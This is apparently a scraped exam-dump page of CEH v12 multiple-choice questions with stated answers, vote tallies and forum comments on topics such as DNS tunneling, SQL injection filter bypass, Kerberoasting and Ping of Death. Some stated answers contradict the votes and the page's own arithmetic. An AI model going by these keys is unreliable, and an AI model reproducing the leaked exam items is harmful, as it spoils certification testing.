✉️👤 insaniumt 9 months ago

Selected Answer: A

A. NTLM  
upvoted 1 times

✉️👤 Srininag19 10 months, 2 weeks ago

Answer is Radius: B

NTLM is an outdated authentication protocol that is vulnerable to attack.

WPA is a wireless security protocol that is not designed to secure LDAP services.

SSO is a single sign-on protocol that can be used to authenticate users to LDAP, but it does not prevent anonymous queries.  
Therefore, the best answer is B. RADIUS.

upvoted 2 times

✉️👤 apolo24 10 months, 3 weeks ago

CEH Book Oficial V12

(copy - paste)

Use NT LAN Manager (NTLM), Kerberos, or any basic authentication mechanism to limit access to legitimate users

upvoted 3 times

✉️👤 ZacharyDriver 1 year, 2 months ago

Selected Answer: A

A. NTLM  
upvoted 1 times

✉️👤 naija4life 1 year, 3 months ago

Selected Answer: B

B. RADIUS

upvoted 1 times

✉️  Vincent\_Lu 1 year, 3 months ago

Selected Answer: B

B. RADIUS

upvoted 1 times

✉️  naija4life 1 year, 3 months ago

Selected Answer: B

B. RADIUS

upvoted 1 times

✉️  sjoerdstefma 1 year, 3 months ago

RADIUS (Remote Authentication Dial-In User Service) is a networking protocol that provides centralized authentication, authorization, and accounting management for network access. It is commonly used for securing and managing access to network resources, including LDAP services.

upvoted 1 times

✉️  victorfs 1 year, 4 months ago

Selected Answer: A

A. NTLM is the correct option

upvoted 1 times

✉️  naija4life 1 year, 3 months ago

if you ever taking the sec + you will understand why radius is the correct answer

upvoted 1 times

✉️  victorfs 1 year, 4 months ago

Selected Answer: B

B. RADIUS

upvoted 1 times

✉️  victorfs 1 year, 4 months ago

A. NTLM is the correct

upvoted 1 times

✉️  sausageman 1 year, 5 months ago

Selected Answer: A

A. NTLM

CEH Book v12 Module 04 Page 338

"Use NT LAN Manager (NTLM), Kerberos, or any basic authentication mechanism to limit access to legitimate users."

upvoted 4 times

✉️  eli117 1 year, 5 months ago

Selected Answer: B

B. RADIUS is a networking protocol that provides centralized authentication, authorization, and accounting management for users who connect to and use network resources. RADIUS can be used to secure LDAP services by requiring users to provide valid credentials before they can access the LDAP service. This can help prevent anonymous queries and unauthorized access to the LDAP directory.

upvoted 2 times

During the enumeration phase, Lawrence performs banner grabbing to obtain information such as OS details and versions of services running. The service that he enumerated runs directly on TCP port 445. Which of the following services is enumerated by Lawrence in this scenario?

- A. Remote procedure call (RPC)
- B. Telnet
- C. Server Message Block (SMB)
- D. Network File System (NFS)

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  **insaniunt** 9 months ago

**Selected Answer: C**

C. Server Message Block (SMB)  
upvoted 1 times

✉️  **Vincent\_Lu** 1 year, 3 months ago

**Selected Answer: C**

C. Server Message Block (SMB)  
upvoted 2 times

✉️  **jeremy13** 1 year, 5 months ago

**Selected Answer: C**

C. Server Message Block (SMB)  
Like V11 Q238  
upvoted 1 times

✉️  **eli117** 1 year, 5 months ago

**Selected Answer: C**

C. Server Message Block (SMB). SMB is a network protocol used for sharing files, printers, and other resources between computers on a network. It runs on TCP port 445 and is commonly used in Windows-based networks. Banner grabbing is a technique used to obtain information about a target system, including the OS details and versions of services running. By enumerating the SMB service, Lawrence may be able to obtain information about the shares, users, and other resources available on the target system.

upvoted 1 times

Jane invites her friends Alice and John over for a LAN party. Alice and John access Jane's wireless network without a password. However, Jane has a long, complex password on her router. What attack has likely occurred?

- A. Wardriving
- B. Wireless sniffing
- C. Evil twin
- D. Piggybacking

Correct Answer: C

*Community vote distribution*

C (83%) D (17%)

✉  **insaniunt** 9 months ago

Selected Answer: C

C. Evil twin

upvoted 1 times

✉  **SailOn** 1 year ago

Alice and John are not attackers, they are victims of an Evil Twin attack, not the perpetrator of a Piggyback attack.

upvoted 1 times

✉  **BossTeka** 1 year, 2 months ago

The answer is D. Piggybacking.

upvoted 1 times

✉  **Vincent\_Lu** 1 year, 3 months ago

Selected Answer: C

C. Evil twin

upvoted 1 times

✉  **victorfs** 1 year, 4 months ago

Selected Answer: C

C. Evil twin

upvoted 1 times

✉  **jeremy13** 1 year, 5 months ago

Selected Answer: C

C. Evil twin

Like V11 Q146

CEH Book V12 Module 16 Page 2484

from book :

An evil twin is a wireless AP that pretends to be a legitimate AP by imitating its SSID.

upvoted 4 times

✉  **sausageman** 1 year, 5 months ago

Selected Answer: C

C. Evil twin

upvoted 3 times

✉  **eli117** 1 year, 5 months ago

Selected Answer: D

D. Piggybacking, which is an unauthorized access to a wireless network where an attacker gains access to the network by connecting to a legitimate user's wireless network without permission. In this scenario, Alice and John were able to access Jane's wireless network without a password, indicating that they piggybacked on her network without her permission. Although Jane has a long and complex password on her router, her guests were still able to access her network without authorization. Wardriving is the act of driving around with a wireless-enabled device looking for wireless access points, wireless sniffing is the practice of intercepting and analyzing wireless network traffic, and Evil twin is a type of wireless network attack where an attacker creates a fake access point that impersonates a legitimate wireless network in order to capture sensitive information.

upvoted 2 times

✉  **sringan** 11 months, 3 weeks ago

You are wrong. Evil twin is the answer.

upvoted 2 times

Which file is a rich target to discover the structure of a website during web-server footprinting?

- A. domain.txt
- B. Robots.txt
- C. Document root
- D. index.html

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉  g\_man\_rap 5 months ago

B. Robots.txt - This is a file used by web servers to communicate with web crawlers. The robots.txt file contains instructions on which parts of the server should not be accessed by the crawlers. It can provide a wealth of information about the structure of a website because it might list directories that are otherwise not linked or visible to a casual visitor. This can be accessed using a command like curl http://example.com/robots.txt

D. index.html - This file typically serves as the landing page or home page of a website. While it's important and can contain hyperlinks to other parts of the website, it usually doesn't reveal the full structure of the website, unlike robots.txt, which may reveal directories not linked from the homepage.

upvoted 2 times

✉  insanint 9 months ago

Selected Answer: B

B. Robots.txt

upvoted 1 times

✉  IPconfig 11 months, 1 week ago

The robots.txt file contains the list of the web server directories and files that the web site owner wants to hide from web crawlers  
An attacker can simply request the Robots.txt file from the URL and retrieve sensitive information such as the root directory structure and content management system information about the target website

An attacker can also download the Robots.txt file of a target website using the Wget tool

upvoted 2 times

✉  Vincent\_Lu 1 year, 3 months ago

Selected Answer: B

B. Robots.txt

upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: B

B. Robots.txt

upvoted 1 times

✉  eli117 1 year, 5 months ago

Selected Answer: B

Robots.txt is a file that webmasters use to communicate with web crawlers and other automated agents visiting their site. This file is often used to exclude certain directories or pages from being crawled, but it can also contain valuable information about the site's directory structure and organization. By examining the robots.txt file, an attacker can gain insight into the site's organization and potentially identify hidden or sensitive directories. Domain.txt is not a standard file used in web server configuration or operation. Document root is the root directory of the web server, and index.html is the default home page file. While these files can provide information about the web server and its configuration, they do not necessarily reveal the structure of the website.

upvoted 1 times

John, a professional hacker, decided to use DNS to perform data exfiltration on a target network. In this process, he embedded malicious data into the DNS protocol packets that even DNSSEC cannot detect. Using this technique, John successfully injected malware to bypass a firewall and maintained communication with the victim machine and C&C server.

What is the technique employed by John to bypass the firewall?

- A. DNSSEC zone walking
- B. DNS cache snooping
- C. DNS enumeration
- D. DNS tunneling method

Correct Answer: D

*Community vote distribution*

D (100%)

✉  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: D

DNS tunneling is a technique used to bypass network security controls by encapsulating non-DNS traffic within DNS packets. By embedding malicious data into the DNS protocol packets, an attacker can bypass firewalls and other security controls that are not configured to inspect DNS traffic. DNSSEC zone walking is a technique used to extract information from DNSSEC-signed zones by iterating over the DNS tree. DNS cache snooping is a technique used to obtain information about a DNS server's cache by sending queries for non-existent domain names. DNS enumeration is a technique used to gather information about a target network by querying DNS servers for information about the network's hosts and services.

upvoted 5 times

✉  insaniunt Most Recent 9 months ago

Selected Answer: D

D. DNS tunneling method

upvoted 1 times

✉  IPconfig 11 months, 1 week ago

Selected Answer: D

Since corrupt or malicious data can be secretly embedded into the DNS protocol packets, even DNSSEC cannot detect this abnormality in DNS tunneling

It is effectively used by malware to bypass the firewall to maintain communication between the victim machine and the C&C server

upvoted 1 times

✉  Vincent\_Lu 1 year, 3 months ago

Selected Answer: D

D. DNS tunneling method Most Voted

upvoted 2 times

✉  victorfs 1 year, 4 months ago

Selected Answer: D

D. DNS tunneling method

upvoted 2 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: D

D. DNS tunneling method

like V11 Q173

upvoted 3 times

There have been concerns in your network that the wireless network component is not sufficiently secure. You perform a vulnerability scan of the wireless network and find that it is using an old encryption protocol that was designed to mimic wired encryption.

What encryption protocol is being used?

- A. RADIUS
- B. WPA
- C. WEP
- D. WPA3

Correct Answer: C -

*Community vote distribution*

C (100%)

✉️  qtygbapjpesdayazko 7 months ago

Selected Answer: C

C. WEP

upvoted 1 times

✉️  insanaint 9 months ago

Selected Answer: C

C. WEP.

WEP stands for Wired Equivalent Privacy and it was the first wireless security protocol developed in 1999. WEP was designed to provide the same level of security as wired networks by using encryption keys to scramble the data transmitted over the wireless network

upvoted 2 times

✉️  Rakowa 10 months, 1 week ago

Wep is the answer

upvoted 1 times

✉️  Vincent\_Lu 1 year, 3 months ago

C. WEP

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: C

C. WEP

Like V11 Q242

upvoted 1 times

✉️  eli117 1 year, 5 months ago

Selected Answer: C

WEP is an old and outdated encryption protocol that was designed to provide wireless networks with a level of security similar to that of wired networks. However, it has been found to be vulnerable to a number of attacks, including key cracking and packet injection. WPA (Wi-Fi Protected Access) and WPA3 are more recent and secure encryption protocols for wireless networks. RADIUS (Remote Authentication Dial-In User Service) is a networking protocol used for centralized authentication, authorization, and accounting management.

upvoted 1 times

You are a cybersecurity specialist at CloudTech Inc., a company providing cloud-based services. You are managing a project for a client who wants to migrate their sensitive data to a public cloud service. To comply with regulatory requirements, the client insists on maintaining full control over the encryption keys even when the data is at rest on the cloud. Which of the following practices should you implement to meet this requirement?

- A. Encrypt data client-side before uploading to the cloud and retain control of the encryption keys.
- B. Use the cloud service provider's encryption services but store keys on-premises.
- C. Rely on Secure Sockets Layer (SSL) encryption for data at rest.
- D. Use the cloud service provider's default encryption and key management services.

Correct Answer: A

*Community vote distribution*

A (100%)

✉  **insaniunt**  7 months, 3 weeks ago

Selected Answer: A

To meet the client's requirement of maintaining full control over the encryption keys even when the data is at rest on the cloud, the most appropriate practice would be:

- A. Encrypt data client-side before uploading to the cloud and retain control of the encryption keys.

This approach ensures that the client encrypts the data on their premises before uploading it to the cloud, and they retain control of the encryption keys. This way, even if the data is stored in the cloud, only the client holds the keys necessary for decryption, providing them with full control over their sensitive information

upvoted 5 times

✉  **qtygbapjpesdayazko**  7 months ago

Selected Answer: A

- A. Encrypt data client-side before uploading to the cloud and retain control of the encryption keys.

upvoted 1 times

✉  **qtygbapjpesdayazko** 7 months ago

Are the questions from 125 valid for the v12 exam?

upvoted 1 times

✉  **[Removed]** 7 months, 3 weeks ago

I'm a bit hesitant about the validity of this claim

upvoted 1 times

✉  **[Removed]** 7 months, 3 weeks ago

Could someone help me confirm if this is correct

upvoted 1 times

✉  **DarioReymag** 7 months, 3 weeks ago

Friends could you please confirm this answer

upvoted 1 times

In an advanced persistent threat scenario, an adversary follows a detailed set of procedures in the cyber kill chain. During one such instance, the adversary has successfully gained access to a corporate network and now attempts to obfuscate malicious traffic within legitimate network traffic. Which of the following actions would most likely be part of the adversary's current procedures?

- A. Employing data staging techniques to collect and aggregate sensitive data.
- B. Initiating DNS tunneling to communicate with the command-and-control server.
- C. Establishing a command-and-control server to communicate with compromised systems.
- D. Conducting internal reconnaissance using PowerShell scripts.

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉️👤 **insaniunt** 7 months, 3 weeks ago

Selected Answer: B

B.

"Adversaries use DNS tunneling to obfuscate malicious traffic in the legitimate traffic carried by common protocols used in the network..." (Module 01 Page 26 from CEH v12 book)

upvoted 1 times

✉️👤 **qwerty100** 7 months, 3 weeks ago

Selected Answer: B

B)

<https://attack.mitre.org/techniques/T1071/004/>

upvoted 1 times

As a part of an ethical hacking exercise, an attacker is probing a target network that is suspected to employ various honeypot systems for security. The attacker needs to detect and bypass these honeypots without alerting the target. The attacker decides to utilize a suite of techniques. Which of the following techniques would NOT assist in detecting a honeypot?

- A. Implementing a brute force attack to verify system vulnerability
- B. Probing system services and observing the three-way handshake
- C. Using honeypot detection tools like Send-Safe Honeypot Hunter
- D. Analyzing the MAC address to detect instances running on VMware

Correct Answer: A

*Community vote distribution*

A (83%)

C (17%)

✉  a307962 2 months, 3 weeks ago

Selected Answer: A

A. Implementing a brute force attack  
upvoted 1 times

✉  calx5 7 months, 1 week ago

Selected Answer: A

A, Thanks for reminder.  
upvoted 1 times

✉  ryotan 7 months, 2 weeks ago

Selected Answer: A

brute force attack may be detected by honey pots, so A is the answer.  
upvoted 1 times

✉  calx5 7 months, 2 weeks ago

Selected Answer: C

C  
Tools to detect honeypots include Send-safe Honeypot Hunter (<http://www.send-safe.com>) and kippo\_detect (<https://github.com>).  
upvoted 1 times

✉  ryotan 7 months, 2 weeks ago

The question is Which of the following techniques would {NOT} assist in detecting a honeypot", as the tool helps, hence, it is "NOT" correct.  
upvoted 4 times

✉  [Removed] 7 months, 3 weeks ago

Could someone help me confirm the accuracy of this data  
upvoted 1 times

✉  insanaint 7 months, 3 weeks ago

Selected Answer: A

A. Implementing a brute force attack to verify system vulnerability  
(reference: Module 12 Page 1757 from CEH v12 book)  
upvoted 1 times

✉  qwerty100 7 months, 3 weeks ago

Selected Answer: A

A. Implementing a brute force attack to verify system vulnerability  
upvoted 1 times

A skilled ethical hacker was assigned to perform a thorough OS discovery on a potential target. They decided to adopt an advanced fingerprinting technique and sent a TCP packet to an open TCP port with specific flags enabled. Upon receiving the reply, they noticed the flags were SYN and ECN-Echo. Which test did the ethical hacker conduct and why was this specific approach adopted?

- A. Test 3: The test was executed to observe the response of the target system when a packet with URC, PSH, SYN, and FIN flags was sent, thereby identifying the OS
- B. Test 2: This test was chosen because a TCP packet with no flags enabled is known as a NULL packet and this would allow the hacker to assess the OS of the target
- C. Test 1: The test was conducted because SYN and ECN-Echo flags enabled to allow the hacker to probe the nature of the response and subsequently determine the OS fingerprint
- D. Test 6: The hacker selected this test because a TCP packet with the ACK flag enabled sent to a closed TCP port would yield more information about the OS

Correct Answer: C

*Community vote distribution*

C (100%)

✉  yicx1 3 months, 2 weeks ago

Test 6: send to closed port.  
Test 2: send empty packet to open port.  
Test 3: send packet with set flags SYN|FIN|URG|PSH on open port without any options  
So the answer is Test 1: send packet with SYN flag with TCP options on open ports  
upvoted 1 times

✉  [Removed] 7 months, 3 weeks ago

Could someone help me confirm if this is correct  
upvoted 1 times

✉  insaniumt 7 months, 3 weeks ago

**Selected Answer: C**  
Test 1: A TCP packet with the SYN and ECN-Echo flags enabled is sent to an open TCP port.  
upvoted 3 times

✉  cloudgangster 7 months, 3 weeks ago

The answer is C, These are the new questions in the pool.  
upvoted 2 times

✉  cloudgangster 7 months, 3 weeks ago

CEH V12 PG 333  
upvoted 1 times

✉  DarioReymag 7 months, 3 weeks ago

Could someone help me confirm if this is correct  
upvoted 1 times

In an intricate web application architecture using an Oracle database, you, as a security analyst, have identified a potential SQL Injection attack surface. The database consists of 'x' tables, each with 'y' columns. Each table contains 'z' records. An attacker, well-versed in SQLi techniques, crafts 'u' SQL payloads, each attempting to extract maximum data from the database. The payloads include 'UNION SELECT' statements and 'DBMS\_XSLPROCESSOR.READ2CLOB' to read sensitive files. The attacker aims to maximize the total data extracted 'E=xyz\*u'. Assuming 'x=4', 'y=2', and varying 'z' and 'u', which situation is likely to result in the highest extracted data volume?

- A. z=600, u=2: The attacker devises 2 SQL payloads, each aimed at tables holding 600 records, affecting all columns across all tables.
- B. z=550, u=2: Here, the attacker formulates 2 SQL payloads and directs them towards tables containing 550 records, impacting all columns and tables.
- C. z=500, u=3: The attacker creates 3 SQL payloads and targets tables with 500 records each, exploiting all columns and tables.
- D. z=400, u=4: The attacker constructs 4 SQL payloads, each focusing on tables with 400 records, influencing all columns of all tables.

Correct Answer: A

*Community vote distribution*

D (100%)

✉️  **insaniunt** Highly Voted 7 months, 3 weeks ago

Selected Answer: D

$$E = (4 * 2 * z) * u$$

- A.  $E = (4 * 2 * 600) * 2 = 9600$
- B.  $E = (4 * 2 * 550) * 2 = 8800$
- C.  $E = (4 * 2 * 500) * 3 = 12000$
- D.  $E = (4 * 2 * 400) * 4 = 12800$

upvoted 5 times

✉️  **smoce** Highly Voted 7 months, 3 weeks ago

Selected Answer: D

$$E=(xyz)*u$$

- A. 9600
- B. 8800
- C. 12000
- D. 12800

upvoted 5 times

✉️  **sosindi** Most Recent 7 months ago

Selected Answer: D

Answer is D

upvoted 1 times

✉️  **JR22craft** 7 months, 1 week ago

Selected Answer: D

Answer is D

upvoted 1 times

✉️  **brrbrr** 7 months, 1 week ago

Selected Answer: D

Answer is D

upvoted 1 times

✉️  **[Removed]** 7 months, 3 weeks ago

I'm a bit hesitant about the validity of this claim

upvoted 1 times

A large enterprise has been experiencing sporadic system crashes and instability, resulting in limited access to its web services. The security team suspects it could be a result of a Denial of Service (DoS) attack. A significant increase in traffic was noticed in the network logs, with patterns suggesting packet sizes exceeding the prescribed size limit. Which among the following DoS attack techniques best describes this scenario?

- A. Smurf attack
- B. UDP flood attack
- C. Pulse wave attack
- D. Ping of Death attack

Correct Answer: **B**

*Community vote distribution*

D (100%)

✉  **medithaperera** 1 week, 6 days ago

It has to be Ping of death since it mentions "with patterns suggesting packet sizes exceeding the prescribed size limit". if it is just a DOS attack it is surely an UDP flood attack

upvoted 1 times

✉  **remrey** 2 months, 3 weeks ago

Answer: D

Smurf attacks involve amplifying network traffic to overwhelm a target, using spoofed broadcast ping messages, while Ping of Death attacks focus on exploiting packet size vulnerabilities to cause system failures.

upvoted 1 times

✉  **[Removed]** 7 months, 3 weeks ago

Could someone please validate this information

upvoted 1 times

✉  **insaniunt** 7 months, 3 weeks ago

Selected Answer: D

D - Ping of Death

Module 10 Page 1441 from CEH v12 book

upvoted 4 times

✉  **insaniunt** 7 months, 3 weeks ago

In a Ping of Death (PoD) attack, an attacker attempts to crash, destabilize, or freeze the target system or service by sending malformed or oversized packets using a simple ping command. Suppose an attacker sends a packet with a size of 65,538 bytes to the target web server. This size exceeds the size limit prescribed by RFC 791 IP, which is 65,535 bytes. The reassembly process performed by the receiving system might cause the system to crash. In such attacks, the attacker's identity can be easily spoofed, and the attacker might not need detailed knowledge of the target machine, except its IP address.

upvoted 2 times

✉  **sмоce** 7 months, 3 weeks ago

Selected Answer: D

A Ping of Death (PoD) attack is a form of DDoS attack in which an attacker sends the recipient device simple ping requests as fragmented IP packets that are oversized or malformed.

upvoted 4 times

Your company has been receiving regular alerts from its IDS about potential intrusions. On further investigation, you notice that these alerts have been false positives triggered by certain goodware files. In response, you are planning to enhance the IDS with YARA rules, reducing these false positives while improving the detection of real threats. Based on the scenario and the principles of YARA and IDS, which of the following strategies would best serve your purpose?

- A. Writing YARA rules specifically to identify the goodware files triggering false positives
- B. Implementing YARA rules that focus solely on known malware signatures
- C. Creating YARA rules to examine only the private database for intrusions
- D. Incorporating YARA rules to detect patterns in all files regardless of their nature

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  qtygbapjpesdayazko 6 months, 1 week ago

Keyword "principles of YARA", so we create YARA rules with filters to filter false positives. A. Writing YARA rules specifically to identify the goodware files triggering false positives.

upvoted 1 times

✉️  qtygbapjpesdayazko 7 months, 3 weeks ago

Is the premium a valid dump for v12 2024? I need a confirmation to buy the subscription.

upvoted 3 times

✉️  insaniant 7 months, 3 weeks ago

Selected Answer: A

A. Writing YARA rules specifically to identify the goodware files triggering false positives

Module 12 Page 1642

upvoted 3 times

✉️  clougangster 7 months, 3 weeks ago

Selected Answer: A

A i think, others dont focus on the main objective

upvoted 1 times

Jake, a network security specialist, is trying to prevent network-level session hijacking attacks in his company. While studying different types of such attacks, he learns about a technique where an attacker inserts their machine into the communication between a client and a server, making it seem like the packets are flowing through the original path. This technique is primarily used to reroute the packets. Which of the following types of network-level session hijacking attacks is Jake studying?

- A. TCP/IP Hijacking
- B. RST Hijacking
- C. UDP Hijacking
- D. Man-in-the-middle Attack Using Forged ICMP and ARP Spoofing

Correct Answer: D

*Community vote distribution*

D (100%)

✉️👤 **insaniunt** 7 months, 3 weeks ago

Selected Answer: D

D. Man-in-the-middle Attack Using Forged ICMP and ARP Spoofing  
upvoted 2 times

✉️👤 **qwertyst100** 7 months, 3 weeks ago

D. Man-in-the-middle Attack Using Forged ICMP and ARP Spoofing  
upvoted 3 times

Given the complexities of an organization's network infrastructure, a threat actor has exploited an unidentified vulnerability, leading to a major data breach. As a Certified Ethical Hacker (CEH), you are tasked with enhancing the organization's security stance. To ensure a comprehensive security defense, you recommend a certain security strategy. Which of the following best represents the strategy you would likely suggest and why?

- A. Develop an in-depth Risk Management process, involving identification, assessment, treatment, tracking, and review of risks to control the potential effects on the organization.
- B. Establish a Defense-in-Depth strategy, incorporating multiple layers of security measures to increase the complexity and decrease the likelihood of a successful attack.
- C. Implement an Information Assurance (IA) policy focusing on ensuring the integrity, availability, confidentiality, and authenticity of information systems.
- D. Adopt a Continual/Adaptive Security Strategy involving ongoing prediction, prevention, detection, and response actions to ensure comprehensive computer network defense.

Correct Answer: D

*Community vote distribution*

D (92%) 8%

✉️  **insaniunt** Highly Voted 7 months, 3 weeks ago

Selected Answer: D

D.

Organizations should adopt adaptive security strategy, which involves implementing all the four network security approaches: Protection, Detection, Responding and Prediction

The adaptive security strategy consists of four security activities corresponding to each security approach - page 53 from ceh v12 book  
upvoted 6 times

✉️  **qtygbapjpesdayazko** Most Recent 6 months, 3 weeks ago

Selected Answer: D

D. Adopt a Continual/Adaptive Security Strategy involving ongoing prediction, prevention, detection, and response actions to ensure comprehensive computer network defense

upvoted 1 times

✉️  **[Removed]** 7 months, 3 weeks ago

Could someone help me confirm the accuracy of this data

upvoted 1 times

✉️  **pechuga** 7 months, 3 weeks ago

It is D

upvoted 1 times

✉️  **smoce** 7 months, 3 weeks ago

Selected Answer: B

they are in. B sounds like the best option.

upvoted 1 times

✉️  **cloudgangster** 7 months, 3 weeks ago

Selected Answer: D

It is D, pg 54 ceh v12

upvoted 4 times

As a cybersecurity professional, you are responsible for securing a high-traffic web application that uses MySQL as its backend database. Recently, there has been a surge of unauthorized login attempts, and you suspect that a seasoned black-hat hacker is behind them. This hacker has shown proficiency in SQL Injection and appears to be using the 'UNION' SQL keyword to trick the login process into returning additional data. However, your application's security measures include filtering special characters in user inputs, a method usually effective against such attacks. In this challenging environment, if the hacker still intends to exploit this SQL Injection vulnerability, which strategy is he most likely to employ?

- A. The hacker tries to manipulate the 'UNION' keyword in such a way that it triggers a database error, potentially revealing valuable information about the database's structure.
- B. The hacker switches tactics and resorts to a 'time-based blind' SQL Injection attack, which would force the application to delay its response, thereby revealing information based on the duration of the delay.
- C. The hacker attempts to bypass the special character filter by encoding his malicious input, which could potentially enable him to successfully inject damaging SQL queries.
- D. The hacker alters his approach and injects a 'DROP TABLE' statement, a move that could potentially lead to the loss of vital data stored in the application's database.

Correct Answer: **B**

*Community vote distribution*

C (100%)

✉  **insaniunt** Highly Voted 7 months, 3 weeks ago

**Selected Answer: C**

C - Encoding can work with the special character filter because the filter may not recognize the encoded input as a special character. For example, the filter may block the single quote character ('') but not the URL encoded version of it (%27). So the hacker can use the encoded input to trick the filter and still inject malicious SQL commands

upvoted 9 times

✉  **qtygbapjpesdayazko** 7 months ago

this is the way  
upvoted 1 times

✉  **lmourikis** Most Recent 7 months ago

The black-hat hacker tries to 'trick the login process into returning additional data'. Also, in the end it is mentioned that 'the hacker still intends to exploit this SQL Injection vulnerability'. So:

Not A - He/She does not affect the structure but the data  
Not B - Delay will not say much about the data but rather whether a query is valid or not  
Not D - Data loss is not what he/she seeks for.  
It's B as encoding may allow to bypass the special characters filtering.

upvoted 2 times

✉  **[Removed]** 7 months, 3 weeks ago

Team can you confirm if this is accurate  
upvoted 2 times

✉  **[Removed]** 7 months, 3 weeks ago

Team can you confirm if this is accurate  
upvoted 1 times



A malicious user has acquired a Ticket Granting Service from the domain controller using a valid user's Ticket Granting Ticket in a Kerberoasting attack. He exhort the TGS tickets from memory for offline cracking. But the attacker was stopped before he could complete his attack. The system administrator needs to investigate and remediate the potential breach. What should be the immediate step the system administrator takes?

- A. Perform a system reboot to clear the memory
- B. Delete the compromised user's account
- C. Change the NTLM password hash used to encrypt the ST
- D. Invalidate the TGS the attacker acquired

Correct Answer: D

*Community vote distribution*

D (58%) C (42%)

✉  kennels  7 months, 1 week ago

Selected Answer: C

If the TGS ticket is disabled but the password is not changed, the attacker should be able to obtain the victim's password through offline cracking of the issued TGS and connect to the network entity, I think.

upvoted 5 times

✉  insanint  7 months, 3 weeks ago

Selected Answer: D

D. Invalidate the TGS the attacker acquired: This is the best option among the four. Invalidating the TGS ticket will prevent the attacker from using it to access the network service, regardless of whether he cracks the password hash or not. This will effectively stop the Kerberoasting attack and protect the network from further compromise.

upvoted 5 times

✉  F4ll3n92  1 week ago

the question ask the immediate step to do...so, i think that the correct answer is D

upvoted 1 times

✉  noyon2002 1 month, 2 weeks ago

I Think C, the key word here is : But the attacker was stopped before he could complete his attack, that means he cannot access with the ticket acquired, and after that the sentence said The system administrator needs to investigate and remediate the potential breach, so he should change the NTLM PWD hash used to encrypt the ST

upvoted 1 times

✉  49f4430 4 months, 1 week ago

Selected Answer: D

You Invalidate the ticket and after you change the password.

If you change the password the ticket is still valid...

The question ask for immediate action :

Action Nr.1 : Invalidate the ticket

upvoted 1 times

✉  dellalba 5 months, 2 weeks ago

Selected Answer: D

The most insidious part about this attack is you can change the password for the KRBTGT account, but the authentication token is still valid. You can rebuild the DC, but that authentication token is still valid.

upvoted 1 times

✉  0af6dbd 5 months, 3 weeks ago

Option C - Change the NTLM password hash used to encrypt the ST because the TGS is encrypted using the target service accounts' NTLM password hash

upvoted 1 times

✉  LordXander 6 months, 1 week ago

Selected Answer: D

The correct answer would be C & D. That would be complete..however, the most correct answer would be D since this would stop the Cyber Killchain (exploitation)...but if I would have this question in the exam...toss a coin

upvoted 1 times

✉  Spam\_Protection 6 months, 3 weeks ago

Selected Answer: D

Module 4 P.416: To crack the ST, attackers export the TGS tickets from memory and save them offline to the local system. Furthermore, attackers use different NTLM hashes to crack the ST and, on successfully cracking it, the service account password can be discovered. Attackers use tools such as Kerberoast to perform Kerberoasting attacks on Kerberos authentication.

upvoted 1 times

✉️  LeongCC 7 months, 1 week ago

Selected Answer: C

ChatGPT checked C

upvoted 2 times

✉️  przemyslaw1 7 months, 2 weeks ago

Selected Answer: C

C. Change the NTLM password

upvoted 1 times

✉️  przemyslaw1 7 months, 2 weeks ago

C. Change the NTLM password hash used to encrypt the ST because the TGS is encrypted using the target service accounts' NTLM password hash

upvoted 3 times

✉️  clougangster 7 months, 3 weeks ago

Selected Answer: D

D is it.

upvoted 2 times

Question #138

Topic 1

You are a cybersecurity consultant for a healthcare organization that utilizes Internet of Medical Things (IoMT) devices, such as connected insulin pumps and heart rate monitors, to provide improved patientcare. Recently, the organization has been targeted by ransomware attacks. While the IT infrastructure was unaffected due to robust security measures, they are worried that the IoMT devices could be potential entry points for future attacks. What would be your main recommendation to protect these devices from such threats?

- A. Disable all wireless connectivity on IoMT devices.
- B. Regularly change the IP addresses of all IoMT devices.
- C. Use network segmentation to isolate IoMT devices from the main network.
- D. Implement multi-factor authentication for all IoMT devices.

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  insaniant 7 months, 3 weeks ago

Selected Answer: C

C. Use network segmentation to isolate IoMT devices from the main network.

This option can provide a comprehensive and flexible solution to protect IoMT devices from ransomware and other threats.

upvoted 3 times

✉️  [Removed] 7 months, 3 weeks ago

Could someone please validate this information

upvoted 1 times

✉️  clougangster 7 months, 3 weeks ago

Selected Answer: C

C i think.

upvoted 1 times

You are a cybersecurity consultant for a global organization. The organization has adopted a Bring Your Own Device (BYOD) policy, but they have recently experienced a phishing incident where an employee's device was compromised. In the investigation, you discovered that the phishing attack occurred through a third-party email app that the employee had installed. Given the need to balance security and user autonomy under the BYOD policy, how should the organization mitigate the risk of such incidents? Moreover, consider a measure that would prevent similar attacks without overly restricting the use of personal devices.

- A. Provide employees with corporate-owned devices for work-related tasks.
- B. Require all employee devices to use a company-provided VPN for internet access.
- C. Implement a mobile device management solution that restricts the installation of non-approved applications.
- D. Conduct regular cybersecurity awareness training, focusing on phishing attacks.

Correct Answer: C

*Community vote distribution*

D (52%)      C (48%)

- ✉️  **noyon2002** 1 month, 2 weeks ago  
C The correct answer From CEH v12, p.2712 :  
Mobile Device management  
MDM is gaining considerable importance with the adoption of policies such as BYOD across organization .....  
Moreover in the BYOD scenario two separates session one for business and one personal and the MDM will control only the business portion and not the personal  
upvoted 1 times
- ✉️  **49f4430** 4 months, 1 week ago  
Selected Answer: D  
D, it has to be D  
upvoted 2 times
- ✉️  **0ea2cf3** 5 months, 1 week ago  
D. Bring Your Own Device (BYOD), the device is the user's personal property if the owners of the device wants to put TikTok, Facebook, X, etc. it is the owner's personal property.  
upvoted 1 times
- ✉️  **Bas375** 5 months, 2 weeks ago  
BYOD is a personal device, MDM fails in real life as users don't support the idea. C would be preferred but D is more practical.  
upvoted 2 times
- ✉️  **0af6dbd** 6 months ago  
Selected Answer: D  
when it comes to phishing, the same option is to make employees aware.  
upvoted 1 times
- ✉️  **qtygbapjpesdayazko** 6 months, 2 weeks ago  
Selected Answer: D  
D. i think  
upvoted 1 times
- ✉️  **Spam\_Protection** 6 months, 3 weeks ago  
Selected Answer: C  
Module 17, page 1720: Develop a blacklist of all the restricted applications on BYOD device  
upvoted 2 times
- ✉️  **ahmedalkibsy** 7 months ago  
Selected Answer: D  
Because it is BYOD so, can't restrict the user.  
upvoted 3 times
- ✉️  **lmourikis** 7 months ago  
